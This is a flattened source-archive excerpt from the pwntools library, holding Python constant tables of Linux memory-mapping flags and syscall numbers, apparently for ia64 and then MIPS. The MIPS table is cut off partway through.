Constant('MAP_SHARED',0x01) MAP_PRIVATE = Constant('MAP_PRIVATE',0x02) MAP_TYPE = Constant('MAP_TYPE',0xf) MADV_REMOVE = Constant('MADV_REMOVE',9) MADV_DONTFORK = Constant('MADV_DONTFORK',10) MADV_DOFORK = Constant('MADV_DOFORK',11) MADV_MERGEABLE = Constant('MADV_MERGEABLE',12) MADV_UNMERGEABLE = Constant('MADV_UNMERGEABLE',13) MADV_HUGEPAGE = Constant('MADV_HUGEPAGE',14) MADV_NOHUGEPAGE = Constant('MADV_NOHUGEPAGE',15) MADV_DONTDUMP = Constant('MADV_DONTDUMP',16) MADV_DODUMP = Constant('MADV_DODUMP',17) MADV_HWPOISON = Constant('MADV_HWPOISON',100) MADV_SOFT_OFFLINE = Constant('MADV_SOFT_OFFLINE',101) MLOCK_ONFAULT = Constant('MLOCK_ONFAULT',1) MAP_FIXED = Constant('MAP_FIXED',0x10) MAP_ANONYMOUS = Constant('MAP_ANONYMOUS',0x20) MAP_GROWSDOWN = Constant('MAP_GROWSDOWN',0x0100) MAP_GROWSUP = Constant('MAP_GROWSUP',0x0200) MAP_DENYWRITE = Constant('MAP_DENYWRITE',0x0800) MAP_EXECUTABLE = Constant('MAP_EXECUTABLE',0x1000) MAP_LOCKED = Constant('MAP_LOCKED',0x2000) MAP_NORESERVE = Constant('MAP_NORESERVE',0x4000) MAP_POPULATE = Constant('MAP_POPULATE',0x8000) MAP_NONBLOCK = Constant('MAP_NONBLOCK',0x10000) MAP_STACK = Constant('MAP_STACK',0x20000) MAP_HUGETLB = Constant('MAP_HUGETLB',0x40000) MS_ASYNC = Constant('MS_ASYNC',1) MS_INVALIDATE = Constant('MS_INVALIDATE',2) MS_SYNC = Constant('MS_SYNC',4) MADV_NORMAL = Constant('MADV_NORMAL',0x0) MADV_RANDOM = Constant('MADV_RANDOM',0x1) MADV_SEQUENTIAL = Constant('MADV_SEQUENTIAL',0x2) MADV_WILLNEED = Constant('MADV_WILLNEED',0x3) MADV_DONTNEED = Constant('MADV_DONTNEED',0x4) MAP_ANON = Constant('MAP_ANON',0x20) MAP_FILE = Constant('MAP_FILE',0) POSIX_MADV_NORMAL = Constant('POSIX_MADV_NORMAL',0x0) POSIX_MADV_SEQUENTIAL = Constant('POSIX_MADV_SEQUENTIAL',0x2) POSIX_MADV_RANDOM = Constant('POSIX_MADV_RANDOM',0x1) POSIX_MADV_WILLNEED = Constant('POSIX_MADV_WILLNEED',0x3) POSIX_MADV_DONTNEED = Constant('POSIX_MADV_DONTNEED',0x4) SYS_accept = Constant('SYS_accept',(1024 + 170)) SYS_accept4 = Constant('SYS_accept4',(1024 + 310)) SYS_access = Constant('SYS_access',(1024 + 25)) SYS_acct = Constant('SYS_acct',(1024 + 40)) SYS_add_key = Constant('SYS_add_key',(1024 + 247)) SYS_adjtimex = Constant('SYS_adjtimex',(1024 + 107)) SYS_afs_syscall = Constant('SYS_afs_syscall',(1024 + 117)) SYS_bdflush = Constant('SYS_bdflush',(1024 + 114)) SYS_bind = Constant('SYS_bind',(1024 + 167)) SYS_bpf = Constant('SYS_bpf',(1024 + 317)) SYS_brk = Constant('SYS_brk',(1024 + 36)) SYS_capget = Constant('SYS_capget',(1024 + 161)) SYS_capset = Constant('SYS_capset',(1024 + 162)) SYS_chdir = Constant('SYS_chdir',(1024 + 10)) SYS_chmod = Constant('SYS_chmod',(1024 + 14)) SYS_chown = Constant('SYS_chown',(1024 + 15)) SYS_chroot = Constant('SYS_chroot',(1024 + 44)) SYS_clock_adjtime = Constant('SYS_clock_adjtime',(1024 + 304)) SYS_clock_getres = Constant('SYS_clock_getres',(1024 + 231)) SYS_clock_gettime = Constant('SYS_clock_gettime',(1024 + 230)) SYS_clock_nanosleep = Constant('SYS_clock_nanosleep',(1024 + 232)) SYS_clock_settime = Constant('SYS_clock_settime',(1024 + 229)) SYS_clone = Constant('SYS_clone',(1024 + 104)) SYS_clone2 = Constant('SYS_clone2',(1024 + 189)) SYS_close = Constant('SYS_close',(1024 + 5)) SYS_connect = Constant('SYS_connect',(1024 + 168)) SYS_copy_file_range = Constant('SYS_copy_file_range',(1024 + 323)) SYS_creat = Constant('SYS_creat',(1024 + 6)) SYS_delete_module = Constant('SYS_delete_module',(1024 + 110)) SYS_dup = Constant('SYS_dup',(1024 + 33)) SYS_dup2 = Constant('SYS_dup2',(1024 + 46)) SYS_dup3 = Constant('SYS_dup3',(1024 + 292)) SYS_epoll_create = Constant('SYS_epoll_create',(1024 + 219)) SYS_epoll_create1 = Constant('SYS_epoll_create1',(1024 + 291)) SYS_epoll_ctl = Constant('SYS_epoll_ctl',(1024 + 220)) SYS_epoll_pwait = Constant('SYS_epoll_pwait',(1024 + 281)) SYS_epoll_wait = Constant('SYS_epoll_wait',(1024 + 221)) SYS_eventfd = Constant('SYS_eventfd',(1024 + 285)) SYS_eventfd2 = Constant('SYS_eventfd2',(1024 + 290)) SYS_execve = Constant('SYS_execve',(1024 + 9)) SYS_execveat = Constant('SYS_execveat',(1024 + 318)) SYS_exit = Constant('SYS_exit',(1024 + 1)) SYS_exit_group = Constant('SYS_exit_group',(1024 + 212)) SYS_faccessat = Constant('SYS_faccessat',(1024 + 269)) SYS_fadvise64 = Constant('SYS_fadvise64',(1024 + 210)) SYS_fallocate = Constant('SYS_fallocate',(1024 + 279)) SYS_fanotify_init = Constant('SYS_fanotify_init',(1024 + 299)) SYS_fanotify_mark = Constant('SYS_fanotify_mark',(1024 + 300)) SYS_fchdir = Constant('SYS_fchdir',(1024 + 11)) SYS_fchmod = Constant('SYS_fchmod',(1024 + 75)) SYS_fchmodat = Constant('SYS_fchmodat',(1024 + 268)) SYS_fchown = Constant('SYS_fchown',(1024 + 76)) SYS_fchownat = Constant('SYS_fchownat',(1024 + 260)) SYS_fcntl = Constant('SYS_fcntl',(1024 + 42)) SYS_fdatasync = Constant('SYS_fdatasync',(1024 + 28)) SYS_fgetxattr = Constant('SYS_fgetxattr',(1024 + 198)) SYS_finit_module = Constant('SYS_finit_module',(1024 + 311)) SYS_flistxattr = Constant('SYS_flistxattr',(1024 + 201)) SYS_flock = Constant('SYS_flock',(1024 + 121)) SYS_fremovexattr = Constant('SYS_fremovexattr',(1024 + 204)) SYS_fsconfig = Constant('SYS_fsconfig',(1024 + 431)) SYS_fsetxattr = Constant('SYS_fsetxattr',(1024 + 195)) SYS_fsmount = Constant('SYS_fsmount',(1024 + 432)) SYS_fsopen = Constant('SYS_fsopen',(1024 + 430)) SYS_fspick = Constant('SYS_fspick',(1024 + 433)) SYS_fstat = Constant('SYS_fstat',(1024 + 188)) SYS_fstatfs = Constant('SYS_fstatfs',(1024 + 80)) SYS_fstatfs64 = Constant('SYS_fstatfs64',(1024 + 233)) SYS_fsync = Constant('SYS_fsync',(1024 + 27)) SYS_ftruncate = Constant('SYS_ftruncate',(1024 + 74)) SYS_futex = Constant('SYS_futex',(1024 + 206)) SYS_futimesat = Constant('SYS_futimesat',(1024 + 261)) SYS_getcpu = Constant('SYS_getcpu',(1024 + 280)) SYS_getcwd = Constant('SYS_getcwd',(1024 + 160)) SYS_getdents = Constant('SYS_getdents',(1024 + 120)) SYS_getdents64 = Constant('SYS_getdents64',(1024 + 190)) SYS_getegid = Constant('SYS_getegid',(1024 + 39)) SYS_geteuid = Constant('SYS_geteuid',(1024 + 23)) SYS_getgid = Constant('SYS_getgid',(1024 + 38)) SYS_getgroups = Constant('SYS_getgroups',(1024 + 53)) SYS_getitimer = Constant('SYS_getitimer',(1024 + 95)) SYS_get_mempolicy = Constant('SYS_get_mempolicy',(1024 + 236)) SYS_getpeername = Constant('SYS_getpeername',(1024 + 172)) SYS_getpgid = Constant('SYS_getpgid',(1024 + 55)) SYS_getpid = Constant('SYS_getpid',(1024 + 17)) SYS_getpmsg = Constant('SYS_getpmsg',(1024 + 164)) SYS_getppid = Constant('SYS_getppid',(1024 + 18)) SYS_getpriority = Constant('SYS_getpriority',(1024 + 77)) SYS_getrandom = Constant('SYS_getrandom',(1024 + 315)) SYS_getresgid = Constant('SYS_getresgid',(1024 + 51)) SYS_getresuid = Constant('SYS_getresuid',(1024 + 49)) SYS_getrlimit = Constant('SYS_getrlimit',(1024 + 61)) SYS_get_robust_list = Constant('SYS_get_robust_list',(1024 + 275)) SYS_getrusage = Constant('SYS_getrusage',(1024 + 62)) SYS_getsid = Constant('SYS_getsid',(1024 + 58)) SYS_getsockname = Constant('SYS_getsockname',(1024 + 171)) SYS_getsockopt = Constant('SYS_getsockopt',(1024 + 180)) SYS_gettid = Constant('SYS_gettid',(1024 + 81)) SYS_gettimeofday = Constant('SYS_gettimeofday',(1024 + 63)) SYS_getuid = Constant('SYS_getuid',(1024 + 22)) SYS_getunwind = Constant('SYS_getunwind',(1024 + 191)) SYS_getxattr = Constant('SYS_getxattr',(1024 + 196)) SYS_init_module = Constant('SYS_init_module',(1024 + 109)) SYS_inotify_add_watch = Constant('SYS_inotify_add_watch',(1024 + 254)) SYS_inotify_init = Constant('SYS_inotify_init',(1024 + 253)) SYS_inotify_init1 = Constant('SYS_inotify_init1',(1024 + 294)) SYS_inotify_rm_watch = Constant('SYS_inotify_rm_watch',(1024 + 255)) SYS_io_cancel = Constant('SYS_io_cancel',(1024 + 218)) SYS_ioctl = Constant('SYS_ioctl',(1024 + 41)) SYS_io_destroy = Constant('SYS_io_destroy',(1024 + 215)) SYS_io_getevents = Constant('SYS_io_getevents',(1024 + 216)) SYS_io_pgetevents = Constant('SYS_io_pgetevents',(1024 + 327)) SYS_ioprio_get = Constant('SYS_ioprio_get',(1024 + 251)) SYS_ioprio_set = Constant('SYS_ioprio_set',(1024 + 250)) SYS_io_setup = Constant('SYS_io_setup',(1024 + 214)) SYS_io_submit = Constant('SYS_io_submit',(1024 + 217)) SYS_io_uring_enter = Constant('SYS_io_uring_enter',(1024 + 426)) SYS_io_uring_register = Constant('SYS_io_uring_register',(1024 + 427)) SYS_io_uring_setup = Constant('SYS_io_uring_setup',(1024 + 425)) SYS_kcmp = Constant('SYS_kcmp',(1024 + 321)) SYS_kexec_load = Constant('SYS_kexec_load',(1024 + 244)) SYS_keyctl = Constant('SYS_keyctl',(1024 + 249)) SYS_kill = Constant('SYS_kill',(1024 + 29)) SYS_lchown = Constant('SYS_lchown',(1024 + 100)) SYS_lgetxattr = Constant('SYS_lgetxattr',(1024 + 197)) SYS_link = Constant('SYS_link',(1024 + 7)) SYS_linkat = Constant('SYS_linkat',(1024 + 265)) SYS_Linux = Constant('SYS_Linux',1024) SYS_listen = Constant('SYS_listen',(1024 + 169)) SYS_listxattr = Constant('SYS_listxattr',(1024 + 199)) SYS_llistxattr = Constant('SYS_llistxattr',(1024 + 200)) SYS_lookup_dcookie = Constant('SYS_lookup_dcookie',(1024 + 213)) SYS_lremovexattr = Constant('SYS_lremovexattr',(1024 + 203)) SYS_lseek = Constant('SYS_lseek',(1024 + 16)) SYS_lsetxattr = Constant('SYS_lsetxattr',(1024 + 194)) SYS_lstat = Constant('SYS_lstat',(1024 + 187)) SYS_madvise = Constant('SYS_madvise',(1024 + 185)) SYS_mbind = Constant('SYS_mbind',(1024 + 235)) SYS_membarrier = Constant('SYS_membarrier',(1024 + 320)) SYS_memfd_create = Constant('SYS_memfd_create',(1024 + 316)) SYS_migrate_pages = Constant('SYS_migrate_pages',(1024 + 256)) SYS_mincore = Constant('SYS_mincore',(1024 + 184)) SYS_mkdir = Constant('SYS_mkdir',(1024 + 31)) SYS_mkdirat = Constant('SYS_mkdirat',(1024 + 258)) SYS_mknod = Constant('SYS_mknod',(1024 + 13)) SYS_mknodat = Constant('SYS_mknodat',(1024 + 259)) SYS_mlock = Constant('SYS_mlock',(1024 + 129)) SYS_mlock2 = Constant('SYS_mlock2',(1024 + 322)) SYS_mlockall = Constant('SYS_mlockall',(1024 + 130)) SYS_mmap = Constant('SYS_mmap',(1024 + 127)) SYS_mmap2 = Constant('SYS_mmap2',(1024 + 148)) SYS_mount = Constant('SYS_mount',(1024 + 19)) SYS_move_mount = Constant('SYS_move_mount',(1024 + 429)) SYS_move_pages = Constant('SYS_move_pages',(1024 + 252)) SYS_mprotect = Constant('SYS_mprotect',(1024 + 131)) SYS_mq_getsetattr = Constant('SYS_mq_getsetattr',(1024 + 243)) SYS_mq_notify = Constant('SYS_mq_notify',(1024 + 242)) SYS_mq_open = Constant('SYS_mq_open',(1024 + 238)) SYS_mq_timedreceive = Constant('SYS_mq_timedreceive',(1024 + 241)) SYS_mq_timedsend = Constant('SYS_mq_timedsend',(1024 + 240)) SYS_mq_unlink = Constant('SYS_mq_unlink',(1024 + 239)) SYS_mremap = Constant('SYS_mremap',(1024 + 132)) SYS_msgctl = Constant('SYS_msgctl',(1024 + 88)) SYS_msgget = Constant('SYS_msgget',(1024 + 85)) SYS_msgrcv = Constant('SYS_msgrcv',(1024 + 87)) SYS_msgsnd = Constant('SYS_msgsnd',(1024 + 86)) SYS_msync = Constant('SYS_msync',(1024 + 133)) SYS_munlock = Constant('SYS_munlock',(1024 + 134)) SYS_munlockall = Constant('SYS_munlockall',(1024 + 135)) SYS_munmap = Constant('SYS_munmap',(1024 + 128)) SYS_name_to_handle_at = Constant('SYS_name_to_handle_at',(1024 + 302)) SYS_nanosleep = Constant('SYS_nanosleep',(1024 + 144)) SYS_newfstatat = Constant('SYS_newfstatat',(1024 + 262)) SYS_nfsservctl = Constant('SYS_nfsservctl',(1024 + 145)) SYS_ni_syscall = Constant('SYS_ni_syscall',(1024 + 0)) SYS_old_getpagesize = Constant('SYS_old_getpagesize',(1024 + 147)) SYS_open = Constant('SYS_open',(1024 + 4)) SYS_openat = Constant('SYS_openat',(1024 + 257)) SYS_openat2 = Constant('SYS_openat2',(1024 + 437)) SYS_open_by_handle_at = Constant('SYS_open_by_handle_at',(1024 + 303)) SYS_open_tree = Constant('SYS_open_tree',(1024 + 428)) SYS_pciconfig_read = Constant('SYS_pciconfig_read',(1024 + 149)) SYS_pciconfig_write = Constant('SYS_pciconfig_write',(1024 + 150)) SYS_perf_event_open = Constant('SYS_perf_event_open',(1024 + 328)) SYS_perfmonctl = Constant('SYS_perfmonctl',(1024 + 151)) SYS_personality = Constant('SYS_personality',(1024 + 116)) SYS_pidfd_getfd = Constant('SYS_pidfd_getfd',(1024 + 438)) SYS_pidfd_open = Constant('SYS_pidfd_open',(1024 + 434)) SYS_pidfd_send_signal = Constant('SYS_pidfd_send_signal',(1024 + 424)) SYS_pipe = Constant('SYS_pipe',(1024 + 34)) SYS_pipe2 = Constant('SYS_pipe2',(1024 + 293)) SYS_pivot_root = Constant('SYS_pivot_root',(1024 + 183)) SYS_pkey_alloc = Constant('SYS_pkey_alloc',(1024 + 331)) SYS_pkey_free = Constant('SYS_pkey_free',(1024 + 332)) SYS_pkey_mprotect = Constant('SYS_pkey_mprotect',(1024 + 330)) SYS_poll = Constant('SYS_poll',(1024 + 66)) SYS_ppoll = Constant('SYS_ppoll',(1024 + 271)) SYS_prctl = Constant('SYS_prctl',(1024 + 146)) SYS_pread64 = Constant('SYS_pread64',(1024 + 124)) SYS_preadv = Constant('SYS_preadv',(1024 + 295)) SYS_preadv2 = Constant('SYS_preadv2',(1024 + 324)) SYS_prlimit64 = Constant('SYS_prlimit64',(1024 + 301)) SYS_process_vm_readv = Constant('SYS_process_vm_readv',(1024 + 308)) SYS_process_vm_writev = Constant('SYS_process_vm_writev',(1024 + 309)) SYS_pselect6 = Constant('SYS_pselect6',(1024 + 270)) SYS_ptrace = Constant('SYS_ptrace',(1024 + 24)) SYS_putpmsg = Constant('SYS_putpmsg',(1024 + 165)) SYS_pwrite64 = Constant('SYS_pwrite64',(1024 + 125)) SYS_pwritev = Constant('SYS_pwritev',(1024 + 296)) SYS_pwritev2 = Constant('SYS_pwritev2',(1024 + 325)) SYS_quotactl = Constant('SYS_quotactl',(1024 + 113)) SYS_read = Constant('SYS_read',(1024 + 2)) SYS_readahead = Constant('SYS_readahead',(1024 + 192)) SYS_readlink = Constant('SYS_readlink',(1024 + 68)) SYS_readlinkat = Constant('SYS_readlinkat',(1024 + 267)) SYS_readv = Constant('SYS_readv',(1024 + 122)) SYS_reboot = Constant('SYS_reboot',(1024 + 72)) SYS_recv = Constant('SYS_recv',(1024 + 176)) SYS_recvfrom = Constant('SYS_recvfrom',(1024 + 177)) SYS_recvmmsg = Constant('SYS_recvmmsg',(1024 + 298)) SYS_recvmsg = Constant('SYS_recvmsg',(1024 + 182)) SYS_remap_file_pages = Constant('SYS_remap_file_pages',(1024 + 101)) SYS_removexattr = Constant('SYS_removexattr',(1024 + 202)) SYS_rename = Constant('SYS_rename',(1024 + 30)) SYS_renameat = Constant('SYS_renameat',(1024 + 264)) SYS_renameat2 = Constant('SYS_renameat2',(1024 + 314)) SYS_request_key = Constant('SYS_request_key',(1024 + 248)) SYS_restart_syscall = Constant('SYS_restart_syscall',(1024 + 222)) SYS_rmdir = Constant('SYS_rmdir',(1024 + 32)) SYS_rseq = Constant('SYS_rseq',(1024 + 333)) SYS_rt_sigaction = Constant('SYS_rt_sigaction',(1024 + 153)) SYS_rt_sigpending = Constant('SYS_rt_sigpending',(1024 + 154)) SYS_rt_sigprocmask = Constant('SYS_rt_sigprocmask',(1024 + 155)) SYS_rt_sigqueueinfo = Constant('SYS_rt_sigqueueinfo',(1024 + 156)) SYS_rt_sigreturn = Constant('SYS_rt_sigreturn',(1024 + 157)) SYS_rt_sigsuspend = Constant('SYS_rt_sigsuspend',(1024 + 158)) SYS_rt_sigtimedwait = Constant('SYS_rt_sigtimedwait',(1024 + 159)) SYS_rt_tgsigqueueinfo = Constant('SYS_rt_tgsigqueueinfo',(1024 + 297)) SYS_sched_getaffinity = Constant('SYS_sched_getaffinity',(1024 + 208)) SYS_sched_getattr = Constant('SYS_sched_getattr',(1024 + 313)) SYS_sched_getparam = Constant('SYS_sched_getparam',(1024 + 136)) SYS_sched_get_priority_max = Constant('SYS_sched_get_priority_max',(1024 + 141)) SYS_sched_get_priority_min = Constant('SYS_sched_get_priority_min',(1024 + 142)) SYS_sched_getscheduler = Constant('SYS_sched_getscheduler',(1024 + 138)) SYS_sched_rr_get_interval = Constant('SYS_sched_rr_get_interval',(1024 + 143)) SYS_sched_setaffinity = Constant('SYS_sched_setaffinity',(1024 + 207)) SYS_sched_setattr = Constant('SYS_sched_setattr',(1024 + 312)) SYS_sched_setparam = Constant('SYS_sched_setparam',(1024 + 137)) SYS_sched_setscheduler = Constant('SYS_sched_setscheduler',(1024 + 139)) SYS_sched_yield = Constant('SYS_sched_yield',(1024 + 140)) SYS_seccomp = Constant('SYS_seccomp',(1024 + 329)) SYS_select = Constant('SYS_select',(1024 + 65)) SYS_semctl = Constant('SYS_semctl',(1024 + 84)) SYS_semget = Constant('SYS_semget',(1024 + 82)) SYS_semop = Constant('SYS_semop',(1024 + 83)) SYS_semtimedop = Constant('SYS_semtimedop',(1024 + 223)) SYS_send = Constant('SYS_send',(1024 + 174)) SYS_sendfile = Constant('SYS_sendfile',(1024 + 163)) SYS_sendmmsg = Constant('SYS_sendmmsg',(1024 + 307)) SYS_sendmsg = Constant('SYS_sendmsg',(1024 + 181)) SYS_sendto = Constant('SYS_sendto',(1024 + 175)) SYS_setdomainname = Constant('SYS_setdomainname',(1024 + 105)) SYS_setfsgid = Constant('SYS_setfsgid',(1024 + 119)) SYS_setfsuid = Constant('SYS_setfsuid',(1024 + 118)) SYS_setgid = Constant('SYS_setgid',(1024 + 37)) SYS_setgroups = Constant('SYS_setgroups',(1024 + 54)) SYS_sethostname = Constant('SYS_sethostname',(1024 + 59)) SYS_setitimer = Constant('SYS_setitimer',(1024 + 94)) SYS_set_mempolicy = Constant('SYS_set_mempolicy',(1024 + 237)) SYS_setns = Constant('SYS_setns',(1024 + 306)) SYS_setpgid = Constant('SYS_setpgid',(1024 + 56)) SYS_setpriority = Constant('SYS_setpriority',(1024 + 78)) SYS_setregid = Constant('SYS_setregid',(1024 + 48)) SYS_setresgid = Constant('SYS_setresgid',(1024 + 52)) SYS_setresuid = Constant('SYS_setresuid',(1024 + 50)) SYS_setreuid = Constant('SYS_setreuid',(1024 + 47)) SYS_setrlimit = Constant('SYS_setrlimit',(1024 + 60)) SYS_set_robust_list = Constant('SYS_set_robust_list',(1024 + 274)) SYS_setsid = Constant('SYS_setsid',(1024 + 57)) SYS_setsockopt = Constant('SYS_setsockopt',(1024 + 179)) SYS_set_tid_address = Constant('SYS_set_tid_address',(1024 + 209)) SYS_settimeofday = Constant('SYS_settimeofday',(1024 + 64)) SYS_setuid = Constant('SYS_setuid',(1024 + 21)) SYS_setxattr = Constant('SYS_setxattr',(1024 + 193)) SYS_shmat = Constant('SYS_shmat',(1024 + 90)) SYS_shmctl = Constant('SYS_shmctl',(1024 + 92)) SYS_shmdt = Constant('SYS_shmdt',(1024 + 91)) SYS_shmget = Constant('SYS_shmget',(1024 + 89)) SYS_shutdown = Constant('SYS_shutdown',(1024 + 178)) SYS_sigaltstack = Constant('SYS_sigaltstack',(1024 + 152)) SYS_signalfd = Constant('SYS_signalfd',(1024 + 283)) SYS_signalfd4 = Constant('SYS_signalfd4',(1024 + 289)) SYS_socket = Constant('SYS_socket',(1024 + 166)) SYS_socketpair = Constant('SYS_socketpair',(1024 + 173)) SYS_splice = Constant('SYS_splice',(1024 + 273)) SYS_stat = Constant('SYS_stat',(1024 + 186)) SYS_statfs = Constant('SYS_statfs',(1024 + 79)) SYS_statfs64 = Constant('SYS_statfs64',(1024 + 234)) SYS_statx = Constant('SYS_statx',(1024 + 326)) SYS_swapoff = Constant('SYS_swapoff',(1024 + 71)) SYS_swapon = Constant('SYS_swapon',(1024 + 70)) SYS_symlink = Constant('SYS_symlink',(1024 + 67)) SYS_symlinkat = Constant('SYS_symlinkat',(1024 + 266)) SYS_sync = Constant('SYS_sync',(1024 + 26)) SYS_sync_file_range = Constant('SYS_sync_file_range',(1024 + 276)) SYS_syncfs = Constant('SYS_syncfs',(1024 + 305)) SYS__sysctl = Constant('SYS__sysctl',(1024 + 126)) SYS_sysfs = Constant('SYS_sysfs',(1024 + 115)) SYS_sysinfo = Constant('SYS_sysinfo',(1024 + 103)) SYS_syslog = Constant('SYS_syslog',(1024 + 93)) SYS_tee = Constant('SYS_tee',(1024 + 277)) SYS_tgkill = Constant('SYS_tgkill',(1024 + 211)) SYS_timer_create = Constant('SYS_timer_create',(1024 + 224)) SYS_timer_delete = Constant('SYS_timer_delete',(1024 + 228)) SYS_timerfd = Constant('SYS_timerfd',(1024 + 284)) SYS_timerfd_create = Constant('SYS_timerfd_create',(1024 + 286)) SYS_timerfd_gettime = Constant('SYS_timerfd_gettime',(1024 + 288)) SYS_timerfd_settime = Constant('SYS_timerfd_settime',(1024 + 287)) SYS_timer_getoverrun = Constant('SYS_timer_getoverrun',(1024 + 227)) SYS_timer_gettime = Constant('SYS_timer_gettime',(1024 + 226)) SYS_timer_settime = Constant('SYS_timer_settime',(1024 + 225)) SYS_times = Constant('SYS_times',(1024 + 35)) SYS_tkill = Constant('SYS_tkill',(1024 + 205)) SYS_truncate = Constant('SYS_truncate',(1024 + 73)) SYS_umask = Constant('SYS_umask',(1024 + 43)) SYS_umount2 = Constant('SYS_umount2',(1024 + 20)) SYS_uname = Constant('SYS_uname',(1024 + 106)) SYS_unlink = Constant('SYS_unlink',(1024 + 8)) SYS_unlinkat = Constant('SYS_unlinkat',(1024 + 263)) SYS_unshare = Constant('SYS_unshare',(1024 + 272)) SYS_uselib = Constant('SYS_uselib',(1024 + 69)) SYS_userfaultfd = Constant('SYS_userfaultfd',(1024 + 319)) SYS_ustat = Constant('SYS_ustat',(1024 + 45)) SYS_utimensat = Constant('SYS_utimensat',(1024 + 282)) SYS_utimes = Constant('SYS_utimes',(1024 + 12)) SYS_vhangup = Constant('SYS_vhangup',(1024 + 99)) SYS_vmsplice = Constant('SYS_vmsplice',(1024 + 278)) SYS_vserver = Constant('SYS_vserver',(1024 + 245)) SYS_wait4 = Constant('SYS_wait4',(1024 + 102)) SYS_waitid = Constant('SYS_waitid',(1024 + 246)) SYS_write = Constant('SYS_write',(1024 + 3)) SYS_writev = Constant('SYS_writev',(1024 + 123)) Gallopsled-pwntools-3ad86ec/pwnlib/constants/linux/mips.py000066400000000000000000002330671507273764500242050ustar00rootroot00000000000000from pwnlib.constants.constant import Constant __NR_Linux = Constant('__NR_Linux',4000) __NR_syscall = Constant('__NR_syscall',(4000 + 0)) __NR_exit = Constant('__NR_exit',(4000 + 1)) __NR_fork = Constant('__NR_fork',(4000 + 2)) __NR_read = Constant('__NR_read',(4000 + 3)) __NR_write = Constant('__NR_write',(4000 + 4)) __NR_open = Constant('__NR_open',(4000 + 5)) __NR_close = Constant('__NR_close',(4000 + 6)) __NR_waitpid = Constant('__NR_waitpid',(4000 + 7)) __NR_creat = Constant('__NR_creat',(4000 + 8)) __NR_link = Constant('__NR_link',(4000 + 9)) __NR_unlink = Constant('__NR_unlink',(4000 + 10)) __NR_execve = Constant('__NR_execve',(4000 + 11)) __NR_chdir = Constant('__NR_chdir',(4000 + 12)) __NR_time = Constant('__NR_time',(4000 + 13)) __NR_mknod = Constant('__NR_mknod',(4000 + 14)) __NR_chmod = Constant('__NR_chmod',(4000 + 15)) __NR_lchown = Constant('__NR_lchown',(4000 + 16)) __NR_break = Constant('__NR_break',(4000 + 17)) __NR_unused18 = Constant('__NR_unused18',(4000 + 18)) __NR_lseek = Constant('__NR_lseek',(4000 + 19)) __NR_getpid = Constant('__NR_getpid',(4000 + 20)) __NR_mount = Constant('__NR_mount',(4000 + 21)) __NR_umount = Constant('__NR_umount',(4000 + 22)) __NR_setuid = Constant('__NR_setuid',(4000 + 23)) __NR_getuid = Constant('__NR_getuid',(4000 + 24)) __NR_stime = Constant('__NR_stime',(4000 + 25)) __NR_ptrace = Constant('__NR_ptrace',(4000 + 26)) __NR_alarm = Constant('__NR_alarm',(4000 + 27)) __NR_unused28 = Constant('__NR_unused28',(4000 + 28)) __NR_pause = Constant('__NR_pause',(4000 + 29)) __NR_utime = Constant('__NR_utime',(4000 + 30)) __NR_stty = Constant('__NR_stty',(4000 + 31)) __NR_gtty = Constant('__NR_gtty',(4000 + 32)) __NR_access = Constant('__NR_access',(4000 + 33)) __NR_nice = Constant('__NR_nice',(4000 + 34)) __NR_ftime = Constant('__NR_ftime',(4000 + 35)) __NR_sync = Constant('__NR_sync',(4000 + 36)) __NR_kill = Constant('__NR_kill',(4000 + 37)) __NR_rename = Constant('__NR_rename',(4000 + 38)) __NR_mkdir = Constant('__NR_mkdir',(4000 + 39)) __NR_rmdir = Constant('__NR_rmdir',(4000 + 40)) __NR_dup = Constant('__NR_dup',(4000 + 41)) __NR_pipe = Constant('__NR_pipe',(4000 + 42)) __NR_times = Constant('__NR_times',(4000 + 43)) __NR_prof = Constant('__NR_prof',(4000 + 44)) __NR_brk = Constant('__NR_brk',(4000 + 45)) __NR_setgid = Constant('__NR_setgid',(4000 + 46)) __NR_getgid = Constant('__NR_getgid',(4000 + 47)) __NR_signal = Constant('__NR_signal',(4000 + 48)) __NR_geteuid = Constant('__NR_geteuid',(4000 + 49)) __NR_getegid = Constant('__NR_getegid',(4000 + 50)) __NR_acct = Constant('__NR_acct',(4000 + 51)) __NR_umount2 = Constant('__NR_umount2',(4000 + 52)) __NR_lock = Constant('__NR_lock',(4000 + 53)) __NR_ioctl = Constant('__NR_ioctl',(4000 + 54)) __NR_fcntl = Constant('__NR_fcntl',(4000 + 55)) __NR_mpx = Constant('__NR_mpx',(4000 + 56)) __NR_setpgid = Constant('__NR_setpgid',(4000 + 57)) __NR_ulimit = Constant('__NR_ulimit',(4000 + 58)) __NR_unused59 = Constant('__NR_unused59',(4000 + 59)) __NR_umask = Constant('__NR_umask',(4000 + 60)) __NR_chroot = Constant('__NR_chroot',(4000 + 61)) __NR_ustat = Constant('__NR_ustat',(4000 + 62)) __NR_dup2 = Constant('__NR_dup2',(4000 + 63)) __NR_getppid = Constant('__NR_getppid',(4000 + 64)) __NR_getpgrp = Constant('__NR_getpgrp',(4000 + 65)) __NR_setsid = Constant('__NR_setsid',(4000 + 66)) __NR_sigaction = Constant('__NR_sigaction',(4000 + 67)) __NR_sgetmask = Constant('__NR_sgetmask',(4000 + 68)) __NR_ssetmask = Constant('__NR_ssetmask',(4000 + 69)) __NR_setreuid = Constant('__NR_setreuid',(4000 + 70)) __NR_setregid = Constant('__NR_setregid',(4000 + 71)) __NR_sigsuspend = Constant('__NR_sigsuspend',(4000 + 72)) __NR_sigpending = Constant('__NR_sigpending',(4000 + 73)) __NR_sethostname = Constant('__NR_sethostname',(4000 + 74)) __NR_setrlimit = Constant('__NR_setrlimit',(4000 + 75)) __NR_getrlimit = Constant('__NR_getrlimit',(4000 + 76)) __NR_getrusage = Constant('__NR_getrusage',(4000 + 77)) __NR_gettimeofday = Constant('__NR_gettimeofday',(4000 + 78)) __NR_settimeofday = Constant('__NR_settimeofday',(4000 + 79)) __NR_getgroups = Constant('__NR_getgroups',(4000 + 80)) __NR_setgroups = Constant('__NR_setgroups',(4000 + 81)) __NR_reserved82 = Constant('__NR_reserved82',(4000 + 82)) __NR_symlink = Constant('__NR_symlink',(4000 + 83)) __NR_unused84 = Constant('__NR_unused84',(4000 + 84)) __NR_readlink = Constant('__NR_readlink',(4000 + 85)) __NR_uselib = Constant('__NR_uselib',(4000 + 86)) __NR_swapon = Constant('__NR_swapon',(4000 + 87)) __NR_reboot = Constant('__NR_reboot',(4000 + 88)) __NR_readdir = Constant('__NR_readdir',(4000 + 89)) __NR_mmap = Constant('__NR_mmap',(4000 + 90)) __NR_munmap = Constant('__NR_munmap',(4000 + 91)) __NR_truncate = Constant('__NR_truncate',(4000 + 92)) __NR_ftruncate 